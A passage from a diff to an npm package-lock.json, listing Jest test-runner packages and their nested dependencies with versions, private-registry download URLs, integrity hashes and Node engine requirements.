">=7.0.0" + } + }, + "node_modules/jest-runner/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-runner/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-runtime/-/jest-runtime-27.5.1.tgz", + "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/globals": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "execa": "^5.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-runtime/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-runtime/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-runtime/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-serializer": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "dependencies": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-snapshot/-/jest-snapshot-27.5.1.tgz", + "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==", + "dependencies": { + "@babel/core": "^7.7.2", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/traverse": "^7.7.2", + "@babel/types": "^7.0.0", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__traverse": "^7.0.4", + "@types/prettier": "^2.1.5", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "natural-compare": "^1.4.0", + "pretty-format": "^27.5.1", + "semver": "^7.3.2" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-snapshot/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-snapshot/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-snapshot/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-snapshot/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-validate/-/jest-validate-27.5.1.tgz", + "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==", + "dependencies": { + "@jest/types": "^27.5.1", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "leven": "^3.1.0", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-validate/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-validate/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-validate/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-validate/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz", + "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==", + "dependencies": { + "ansi-escapes": "^4.3.1", + "chalk": "^4.0.0", + "jest-regex-util": "^28.0.0", + "jest-watcher": "^28.0.0", + "slash": "^4.0.0", + "string-length": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "jest": "^27.0.0 || ^28.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/console/-/console-28.1.3.tgz", + "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==", + "dependencies": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^28.1.3", + "jest-util": "^28.1.3", + "slash": "^3.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/test-result/-/test-result-28.1.3.tgz", + "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==", + "dependencies": { + "@jest/console": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/types": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/types/-/types-28.1.3.tgz", + "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==", + "dependencies": { + "@jest/schemas": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@types/yargs": { + "version": "17.0.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-watch-typeahead/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watch-typeahead/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-watch-typeahead/node_modules/emittery": { + "version": "0.10.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emittery/-/emittery-0.10.2.tgz", + "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/jest-watch-typeahead/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-message-util/-/jest-message-util-28.1.3.tgz", + "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^28.1.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^28.1.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": { + "version": "28.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-regex-util/-/jest-regex-util-28.0.2.tgz", + "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==", + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-util": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-util/-/jest-util-28.1.3.tgz", + "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==", + "dependencies": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-watcher/-/jest-watcher-28.1.3.tgz", + "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==", + "dependencies": { + "@jest/test-result": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.10.2", + "jest-util": "^28.1.3", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-format/-/pretty-format-28.1.3.tgz", + "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==", + "dependencies": { + "@jest/schemas": "^28.1.3", + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watch-typeahead/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" + }, + "node_modules/jest-watch-typeahead/node_modules/slash": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "engines": { + "node": ">=12" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-length/-/string-length-5.0.1.tgz", + "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==", + "dependencies": { + "char-regex": "^2.0.0", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12.20" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": { + "version": "2.0.1", + "resolved": 